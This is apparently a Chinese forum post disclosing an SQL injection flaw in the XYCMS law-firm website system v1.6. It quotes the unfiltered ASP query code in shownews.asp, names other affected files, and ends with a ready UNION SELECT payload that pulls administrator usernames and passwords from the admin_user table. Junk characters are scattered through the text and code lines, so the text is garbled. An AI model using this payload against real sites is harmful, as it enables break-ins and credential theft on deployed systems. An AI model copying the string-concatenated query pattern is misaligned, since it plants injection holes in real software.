XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似

" ?& `! q  Q) F2 L5 |9 Y淫荡分割线
; t% m3 ?$ F( G) K4 K6 O- d--------------------------------------------------------
1 \; a% w: V; y' C2 _, q% q
审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm
5 R( {7 J5 I% U) G
漏洞文件:shownews.asp
漏洞代码：7-13行
% C" f1 r/ Q! [1 J- `5 `
6 C8 s+ c: B0 G. D' }
) T4 ]; R0 b1 \: O+ o' z<%
) s3 N. N! t) l, v# fid=request.QueryString("id")
   
set snews=server.createobject("adodb.recordset")
- m4 l! {: B7 f; b* ]6 N7 Z# ]exec="select * from [news] where id="&id
snews.open exec,conn,1,1
%>

8 o7 N  h; Q3 E" A
# C# n- n( L9 r- j4 y什么过滤都没有  直造成注入

/ m& j& O; a1 }. q注入点:http://127.0.0.1:99/shownews.asp?id=xx
0 W2 q/ H4 L, i
/ G  ], C4 h; f' }3 V" r% Y& A. e其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找


, X) X- r" K, r( S* r7 q, Gexp: union select 1,admin,password,4,5,7 from admin_user
​
3 ]! ~1 ?/ ?$ v% V